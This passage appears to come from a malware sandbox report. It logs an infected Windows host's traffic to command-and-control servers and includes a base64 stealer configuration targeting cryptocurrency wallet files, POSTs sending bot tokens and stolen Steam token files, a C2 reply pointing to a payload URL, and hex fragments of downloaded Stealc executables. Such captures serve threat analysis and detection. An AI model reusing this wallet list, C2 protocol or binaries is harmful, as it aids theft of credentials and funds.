Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 16:51:03.337372065 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"files------DBFHDHJKKJDHJJJJKEGH--
Nov 20, 2024 16:51:03.784246922 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:51:03.798062086 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file"------AAEHIDAKECFIEBGDHJEB--
Nov 20, 2024 16:51:04.744168997 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:51:04.772887945 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="message"ybncbhylepme------BFCAAEHJDBKJJKFHJEBK--
Nov 20, 2024 16:51:05.223634958 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49832	185.215.113.16	80	1556	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:51:05.347302914 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 20, 2024 16:51:06.753175020 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:51:06 GMT Content-Type: application/octet-stream Content-Length: 1929216 Last-Modified: Wed, 20 Nov 2024 15:29:19 GMT Connection: keep-alive ETag: "673e004f-1d7000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfpL@L@WkHPLPL @.rsrcH@.idata @ P+@ahejieaj`2R@yokqpkiv`LJ@.taggant0pL"N@
Nov 20, 2024 16:51:06.753190041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 16:51:06.753201962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 16:51:06.753329992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 16:51:06.753340960 CET	1236	IN	Data Raw: fe 95 80 8d af 43 b1 57 50 76 94 89 f3 7a 12 f4 a0 22 f9 48 29 d0 bf fb c1 f0 1b ae be 54 10 d9 62 98 a3 02 60 58 8c cd bb 5f 74 cb 3f 71 83 f1 0f 60 d0 0d 0c 7e 3f 78 61 61 00 5d b9 c3 10 f8 3f d4 64 bc d7 1f 35 f9 b1 a3 0e cb 7f 61 48 bf b0 ff Data Ascii: CWPvz"H)Tb`X_t?q`~?xaa]?d5aHYi4d[,p2CIwz@b4{C[0M?3XT?Z'9l\|~@u_r#q(9_\|Npa5y#v@h2t)
Nov 20, 2024 16:51:06.753354073 CET	1236	IN	Data Raw: 4e 94 e6 3d 8f ac 40 8b a7 b8 d4 0e e7 2f 96 12 20 92 0c 21 b1 d3 b4 95 30 8d 10 19 44 d8 af cd 2f 72 68 c5 81 38 19 84 42 b6 bc c0 18 54 30 9d 93 f3 90 b8 b9 a3 15 ca 97 52 8f 80 be c0 94 d9 5f 94 1a bd 9f e8 ca eb e3 a7 11 25 90 17 f5 ac 35 f1 Data Ascii: N=@/ !0D/rh8BT0R_%5];Bh/Gd=cHzifw+TFUS2HKHmzVgaY]MquFORBiJl:GP{`WGw3X*&
Nov 20, 2024 16:51:06.753366947 CET	1236	IN	Data Raw: cc 6b b7 31 78 69 b4 97 7b 5f 39 4f b1 71 d8 fa e6 07 a3 ed 2a e4 dd 1d 1f 7a e7 19 68 62 d8 d2 8c 11 c2 de 7b 77 03 ac 67 c1 14 9a 5e fc fd 8a 4d e8 b6 3a 37 57 96 be 70 38 a5 cb dc 44 63 39 37 79 7a 66 31 fc f4 98 96 f5 78 9b 77 85 bb 97 eb b4 Data Ascii: k1xi{_9Oq*zhb{wg^M:7Wp8Dc97yzf1xwEQq\W~?AlRyrz!b_`D_AltII^q@wOdDgTT4F%Aa]PVhw;K90>2tfR>&% \|e
Nov 20, 2024 16:51:06.754200935 CET	1236	IN	Data Raw: e6 3a 0e 13 b2 f8 7a be a3 54 6c 75 e7 1a 40 b4 17 85 86 aa 6d 08 13 79 b1 da 8c 30 92 9f e9 17 9c 5c e3 13 ce 00 67 a9 14 fc ac fd db 49 4d b1 b7 d0 1b 86 22 b6 0d cf 64 cf 84 97 96 17 38 5c b2 a2 47 fc ad da 2b 12 b1 14 1c 54 7a 7b dd be 24 6d Data Ascii: :zTlu@my0\gIM"d8\G+Tz{$mmX)vuJ1\|~g6H1\Q1I@QRbp6)t,CWp7xYmmtr \yWE@`cZ@S5
Nov 20, 2024 16:51:06.754213095 CET	1236	IN	Data Raw: 42 34 03 4d e1 0e 24 96 6b 3b f4 a4 ef 71 18 3d 44 32 4f 1f 9c 7c b0 52 f2 30 55 82 dc 26 29 99 cf 58 88 97 93 51 76 86 9d 11 81 bb 47 6b b0 95 78 34 ca f5 cc 8e f8 ce 06 51 82 95 b5 69 c2 dd 73 6f d0 6f c8 21 28 3e f8 9e 37 f7 a0 e0 f7 89 ca 2e Data Ascii: B4M$k;q=D2O\|R0U&)XQvGkx4Qisoo!(>7.eCXN8C@J>!*P9<}CN$d/elgNCO{SZQ@YR?dH?=}{#qwZz9hq9_Ht(iy@OuPhzCBj.9m\|
Nov 20, 2024 16:51:06.754332066 CET	1236	IN	Data Raw: a6 66 70 02 ae a2 4c 58 be fe 71 d0 19 df 80 ec f3 7a 65 e5 77 14 fa 59 93 42 13 ef 10 36 82 aa dd 35 bf 91 d5 1a 21 0f b2 5a 78 10 96 e0 7e 0c 1d 9d b4 cd bb 60 f3 b0 51 d9 2a d1 4f 23 55 73 64 28 03 61 8f 66 16 de 0f 7f e9 78 d7 23 2a 81 fe ac Data Ascii: fpLXqzewYB65!Zx~`QO#Usd(afx#~);^(eQFZf.n{}$jsGabRsVSS(M~aPD$Aw\e#9M{Vu(OBx.0aU.e0
Nov 20, 2024 16:51:06.873095989 CET	1236	IN	Data Raw: 87 92 2c 22 76 9a f8 89 24 96 ed 9d 87 e4 7c a9 d9 38 93 16 aa e9 f8 18 28 84 3a b5 23 28 01 21 10 b9 11 71 a3 74 94 b8 52 f6 89 5a 66 e8 80 42 37 17 35 11 a4 24 85 13 b8 e1 59 b1 9d e4 46 af 40 ab a5 bb d9 3c 3f ae 30 c1 a8 1b ea 7c 21 3d d5 28 Data Ascii: ,"v$\|8(:#(!qtRZfB75$YF@<?0\|!=(7Ba'p _$CP[`X$p[@yL'M=zW\-)>_91?+36xD}sn'[V"KD'"qR]DaZ9K+(M*PP\|E'n@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49837	185.215.113.206	80	1556	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:51:10.532023907 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJECBAAAFHIIEBFCBKF--
Nov 20, 2024 16:51:12.468153954 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49903	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:04.520163059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 16:52:05.908488035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49910	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:07.539208889 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 20, 2024 16:52:09.024494886 CET	742	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 37 0d 0a 20 3c 63 3e 31 30 30 37 36 39 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 38 36 62 39 37 34 30 34 30 62 64 36 63 65 39 34 64 34 64 34 32 30 34 64 36 64 39 66 63 31 64 23 31 30 30 37 36 39 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 37 30 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 37 30 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 [TRUNCATED] Data Ascii: 227 <c>1007698001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd86b974040bd6ce94d4d4204d6d9fc1d#1007699001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007700001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007701001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007702001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007703001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49915	31.41.244.11	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:09.153290033 CET	60	OUT	GET /files/stealc_main1.exe HTTP/1.1 Host: 31.41.244.11
Nov 20, 2024 16:52:10.586481094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:10 GMT Content-Type: application/octet-stream Content-Length: 244736 Last-Modified: Wed, 20 Nov 2024 15:23:11 GMT Connection: keep-alive ETag: "673dfedf-3bc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 31 c7 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 40 22 00 00 00 00 00 c0 1d 02 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 25 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPEL1;g@"@%@`<$<.text .rdatat@@.data+!pR@.reloc$]$^^@B
Nov 20, 2024 16:52:10.586494923 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 29 8a 42 00 20 99 42 00 89 99 42 00 00 00 00 Data Ascii: )B BBUQSWjj@h0hjcPcuPcjh0hAjTcUPtXt'}3S[hhA
Nov 20, 2024 16:52:10.586627960 CET	1236	IN	Data Raw: 17 52 ff 15 90 8f 63 00 5f 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 83 ec 40 33 c0 eb 03 8d 49 00 c6 04 04 00 85 c0 75 00 40 83 f8 40 72 f2 8d 04 24 50 c7 44 24 04 40 00 00 00 ff 15 3c 91 63 00 83 f8 01 75 1d 8b 44 24 0c 8b 4c Data Ascii: Rc_[]U@3Iu@@r$PD$@<cuD$L$wrWsjc]UVhjEcPcEPhjh\ChcuUMQVPPhPCRcEPXc^]U,SVW
Nov 20, 2024 16:52:10.586641073 CET	1236	IN	Data Raw: 63 00 8b 47 50 89 46 50 40 e8 a5 13 00 00 89 46 48 85 c0 74 0f 8b 4f 48 85 c9 74 08 51 50 ff 15 34 91 63 00 8b 47 54 89 46 54 8b 4f 58 89 4e 58 8b 57 5c 89 56 5c 8b 47 60 89 46 60 8b 4f 64 89 4e 64 8b 57 68 89 56 68 8b 47 6c 89 46 6c 8b 4f 70 89 Data Ascii: cGPFP@FHtOHtQP4cGTFTOXNXW\V\G`F`OdNdWhVhGlFlOpNpWtVtGxFx@AF\|t\|tWP4c_^WGF@ttQP4cGF@FtOtQP4cG F @FtOtQ
Nov 20, 2024 16:52:10.586811066 CET	1236	IN	Data Raw: 63 00 8b 45 10 8d 1c 06 8d 43 01 e8 cf 0e 00 00 8b f0 89 75 d0 85 f6 74 1d 85 ff 74 19 83 7d 08 00 74 13 57 56 ff 15 34 91 63 00 8b 4d 08 51 56 ff 15 9c 90 63 00 68 9c 17 43 00 ff 15 ac 8f 63 00 8d 34 03 8d 46 01 e8 93 0e 00 00 8b d8 85 db 74 1b Data Ascii: cECutt}tWV4cMQVchCc4FtEtPS4chCScU,\|2dtt}$tSV4cE$PVcEt%.}ttVW4cEEEQ
